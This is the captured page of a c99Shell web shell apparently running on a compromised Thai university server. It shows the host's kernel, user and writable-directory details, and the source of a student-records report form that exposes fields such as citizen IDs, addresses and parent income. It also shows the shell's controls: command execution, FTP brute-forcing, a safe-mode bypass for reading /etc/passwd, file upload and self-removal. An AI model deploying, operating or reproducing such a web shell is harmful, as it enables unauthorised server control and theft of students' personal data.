!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_searchRptRis_org.php (7.23 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script>
function checkFormat() {
    if(document.pc.curId.value == "") {
        alert("กรุณากรอกชื่อหลักสูตร !");
        document.pc.curId.focus();
        return false;
    }
    
    return true;
}

function ver(form, msg) {
    var c = 0;
    for (var i=0; i<form.length; i++) {
        if(form.elements[i].type == 'checkbox' && form.elements[i].name.substr(0, 11) =='stStatusArr') {
            if(form.elements[i].checked)
                c = c+1;
        }
    }
    
    if(c == 0) {
        alert(msg);
        return false;
    }
}
</script>
<table width="100%" align="center">
    <tr>
        <td>
            <div align="center">
            <table width="100%">
                <tr>
                    <td colspan="2" align="center"><span class="h">รายชื่อสถานะนักศึกษาตามหลักสูตร</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td>
<?php
                    $attributes 
= array('name' => 'pc''id' => 'pc');
                    echo 
form_open($this->config->item("rg_folder")."rpt_student/rptRis",$attributes);
?>
                    <table class="szone">
                    <tr bgcolor="<?php echo $tr_color_even;?>">
                        <td class="coltd_szone">ชื่อหลักสูตร</td>
                        <td>
<?php
                        
echo form_dropdown('curId'$rs_curset_value('curId'));
?>
                        <font size="2" color="<?=$font_color_err;?>">*</font></td>
                    </tr>
                    <tr bgcolor="<?=$tr_color_even;?>" valign="top">
                        <td class="coltd_szone">ปีการศึกษาที่เข้า</td>
                        <td><input type="text" name="stdAdY" id="stdAdY" size="4" maxlength="4"></td>
                    </tr>
                    <tr bgcolor="<?=$tr_color_even;?>" valign="top">
                        <td class="coltd_szone">ชั้นปี</td>
                        <td>
<?php
                        
echo form_dropdown('syId'$rs_syset_value('syId'));
?>
                        </td>
                    </tr>
                    <tr bgcolor="<?=$tr_color_even;?>" valign="top">
                        <td class="coltd_szone">สถานะนักศึกษา<br>
                        (เลือกอย่างน้อย 1 สถานะ)</td>
                        <td><font size="2">
<?php
                        $i 
0;
                        if(
$rs_sst->num_rows()) {
                            foreach(
$rs_sst->result() as $row) {
?>
                        <input type="checkbox" name="stStatusArr<?=$i;?>" value="<?=$row->sstId;?>"> <?=$row->sstName;?><br>
<?php
                                $i
++;
                            }
                        }
?>
                        </font></td>
                    </tr>
                    <tr bgcolor="<?=$tr_color_even;?>" valign="top">
                        <td class="coltd_szone">แสดงรายการ</td>
                        <td><font size="2">
<?php
                        $fieldNames_settings 
= array(array('GPAX','GPA'),
                        array(
'$row->sdtCitizenId','เลขที่บัตรประจำตัวประชาชน'),
                        array(
'$row->sdtSex','เพศ'),
                        array (
'$row->nationName','สัญชาติ'),
                        array (
'$row->religionName','ศาสนา'),
                        array (
'$row->sdtBirthDate','วันเกิด'),
                        array (
'age','อายุ'),
                        array (
'$row->sdtPrvIdBirth','จังหวัดที่เกิด'),
                        array (
'$row->sdtHomeAddr','ที่อยู่นักศึกษาตามภูมิลำเนา'),
                        array (
'$row->sdtDtIdHome','ตำบลตามภูมิลำเนา'),
                        array (
'$row->sdtApIdHome','อำเภอตามภูมิลำเนา'),
                        array (
'$row->sdtPrvIdHome','จังหวัดตามภูมิลำเนา'),
                        array (
'$row->sdtHomePostCode','รหัสไปรษณีย์ตามภูมิลำเนา'),
                        array (
'$row->sdtHomePhoneNo','เบอร์โทรศัพท์บ้านตามภูมิลำเนา'),
                        array (
'$row->sdtFatherName','ชื่อ-สกุลบิดา'),
                        array (
'$row->sdtFatherOccupation','อาชีพบิดา'),
                        array (
'$row->sdtMotherName','ชื่อ-สกุลมารดา'),
                        array (
'$row->sdMotherOccupation','อาชีพมารดา'),
                        array (
'$row->sdtParentName','ชื่อ-สกุลผู้ปกครอง'),
                        array (
'$row->sdtParentRelationship','ความสัมพันธ์กับนักศึกษา'),
                        array (
'$row->sdtParentAddr','ที่อยู่ผู้ปกครองที่สามารถติดต่อได้'),
                        array (
'$row->sdtDtIdParent','ตำบลผู้ปกครอง'),
                        array (
'$row->sdtApIdParent','อำเภอผู้ปกครอง'),
                        array (
'$row->sdtPrvIdParent','จังหวัดผู้ปกครอง'),
                        array (
'$row->sdtParentPostCode','รหัสไปรษณีย์ผู้ปกครอง'),
                        array (
'$row->sdtParentPhoneNo','เบอร์โทรศัพท์บ้านผู้ปกครอง'),
                        array (
'$row->sdtParentMobileNo','เบอร์โทรศัพท์มือถือผู้ปกครอง'),
                        array (
'$row->sdtParentOccupation','อาชีพผู้ปกครอง'),
                        array (
'$row->sdtParentIncome','รายได้ผู้ปกครอง'),
                        array (
'$row->edgName','วุฒิการศึกษาก่อนรับเข้า'));
                        
                        
$k 0;
                        foreach (
$fieldNames_settings as $fieldNames) {
?>
                        <input type="checkbox" name="fieldNamesArr<?php echo $k;?>" value="<?php echo $fieldNames[0];?>"> <?php echo $fieldNames[1];?><br>
<?php
                            $k
++;
                        }
?>
                        </font></td>
                    </tr>
                    <tr bgcolor="<?=$tr_color_even;?>" valign="top">
                        <td colspan="2" align="center">
                        <input type="submit" name="submit" value="ตกลง" onClick="if(checkFormat()) return ver(this.form, 'เลือกอย่างน้อยหนึ่งสถานะ'); else return false;">
                        <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                        <input type="hidden" name="cntStStatus" value="<?php echo $i;?>">
                        <input type="hidden" name="cntFieldNames" value="<?php echo $k;?>"></td>
                    </tr>
                    </table><?php echo form_close();?></td>
                </tr>
            </table></div>
        <br></td>
    </tr>
    <tr>
        <td><table width="100%">
            <tr>
                <td width="12%" height="22"><font size="2" color="<?=$font_color_err;?>"><b>หมายเหตุ : </b></font></td>
                <td><font size="2" color="<?=$font_color_err;?>">* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font></td>
            </tr>
            <tr>
                <td height="22"></td>
                <td><font size="2" color="<?=$font_color_err;?>">สามารถออกรายงานในรูป .xls ได้ 4 กรณี คือ</font></td>
            </tr>
            <tr>
                <td height="22"></td>
                <td><font size="2" color="<?=$font_color_err;?>">1. จำแนกตามหลักสูตรอย่างเดียว</font></td>
            </tr>
            <tr>
                <td height="22"></td>
                <td><font size="2" color="<?=$font_color_err;?>">2. จำแนกตามหลักสูตร และปีการศึกษาที่เข้า</font></td>
            </tr>
            <tr>
                <td height="22"></td>
                <td><font size="2" color="<?=$font_color_err;?>">3. จำแนกตามหลักสูตร และชั้นปี</font></td>
            </tr>
            <tr>
                <td height="22"></td>
                <td><font size="2" color="<?=$font_color_err;?>">4. จำแนกตามหลักสูตร ปีการศึกษาที่เข้า และชั้นปี</font></td>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0125 ]--